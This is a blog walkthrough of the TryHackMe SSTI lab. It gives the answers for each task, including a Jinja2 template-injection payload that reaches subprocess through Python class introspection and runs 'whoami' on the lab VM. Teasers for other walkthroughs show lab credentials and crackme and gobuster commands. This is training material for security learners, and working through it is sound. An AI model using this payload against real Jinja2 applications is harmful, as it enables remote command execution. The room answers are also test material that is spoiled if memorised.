TryHackMe - SSTI (Server-Side Template Injection) - Walkthrough

Introduction

Today we're going to be doing a walkthrough for the SSTI (Server-Side Template Injection) room hosted at https://tryhackme.com/room/learnssti . For this walkthrough, we'll be using two virtual machines (VMs), a Kali Linux VM as our attacking machine, and the deployed SSTI vulnerable VM as the the victim machine.

Task 1 - Introduction

Questions:

Understand all of the above.

No answer needed

Task 2 - Detection

Questions

What sequence of characters causes the application to throw an error?

Answer contained within Answer format

Task 3 - Identification

Questions

What template engine is being used in this application?

Navigate to the following URL in our web browser:
http://10.10.6.245:5000/profile/{{7*'7'}}

Compare the results to the contents of the URL below:

https://portswigger.net/research/server-side-template-injection#Identify 


Task 4 - Syntax

Questions

How do you start a comment in Jinja2?

Search within the following URL (search term: “comment”)
https://jinja.palletsprojects.com/en/2.11.x/api/#jinja2.Environment

Task 5 - Exploitation

Questions

What is the result of the "whoami" shell command?

Navigate to the following URL in our web browser:
http://10.10.6.245:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}


Task 6 - Examination

Questions

Understand all of the above.

No answer needed

Task 7 - Remediation

Questions

Understand all of the above

No answer needed

Task 8 - Case Study

Questions

What payload was used to confirm SSTI?

Navigate to the following URL and search for the following term inside the page “ {{ ”
https://hackerone.com/reports/125980


Finish



Comments

Post a Comment

Popular posts from this blog

TryHackMe - Windows PrivEsc - Walkthrough

Image
Introduction Today we're going to be doing a walkthrough for the Windows PrivEsc room hosted at https://tryhackme.com/room/w indows10privesc . For this walkthrough, we'll be using two virtual machines (VMs), a Kali Linux VM as our attacking machine, and the deployed Windows 10 client as the the victim machine. Task 1 - Deploy the Vulnerable Windows VM Press the green button here: The Windows machine should come online after a minute or two. The IP address of the machine can be found here: Of course, the actual IP address will probably be a different one from the one in the screenshot.  For the examples, however, we will use the IP address of 10.10.227.113 RDP should be available on port 3389 (it may take a few minutes for the service to start). You can login to the "user" account using the password "password321": xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.227.113 Questions: Deploy the Windows VM and login using the "user" ...
Read more

TryHackMe - Reversing Elf - Walkthrough

Image
Introduction Today we're going to be doing a walkthrough for the Reversing ELF room hosted at https://tryhackme.com/room/ reverselfiles . For this walkthrough, we'll be using one virtual machine (VMs), a Kali Linux VM as our attacking machine. Task 1 - Crackme1 Questions What is the flag? Download the Task 1 Task File Copy it to your working directory Give the file executable permissions Run the file chmod +x crackme1 ./crackme1 Task 2 - Crackme2 Questions What is the super secret password ? Give the file executable permissions Run Ltrace on the file with a test string chmod +x crackme2 ltrace ./crackme2 test ./crackme2 passwordFoundInPreviousStep Task 3 - Crackme3 Questions What is the flag? Give the file executable permissions Run strings on the file Echo the base64 string you found, pipe it into Base64 decode chmod +x crackme3 strings crackme3 echo “ base64stringFoundInPreviousStep ” | base64 -d Task 4 - Crackme4 Questions What is the password ? Give the file execu...
Read more

TryHackMe - Web Enumeration - Walkthrough

Image
Introduction Today we're going to be doing a walkthrough for the Web Enumeration room hosted at https://tryhackme.com/room/ webenumerationv2 . For this walkthrough, we'll be using two virtual machines (VMs), the TryHackMe AttackBox VM as our attacking machine, and the deployed vulnerable Web clients as the the victim machines. Task 1 - Introduction Questions: Let's get started No answer needed Task 2 - Manual Enumeration Questions I gotcha! No answer needed Task 3 - 1. introduction to Gobuster Questions No questions No answer needed Task 4 - 1.1 Gobuster Modes Questions I get the hang of it! No answer needed Task 5 - 1.2 Useful Wordlists Questions No questions No answer needed Task 6 - 1.3 Practical: Gobuster (Deploy #1) Questions Run a directory scan on the host. Other than the standard css, images and js directories, what other directories are available? echo “10.10.164.99 webenum.thm” >> /etc/hosts gobuster dir -t 16 -u http://webenum.thm -w /usr/sha...
Read more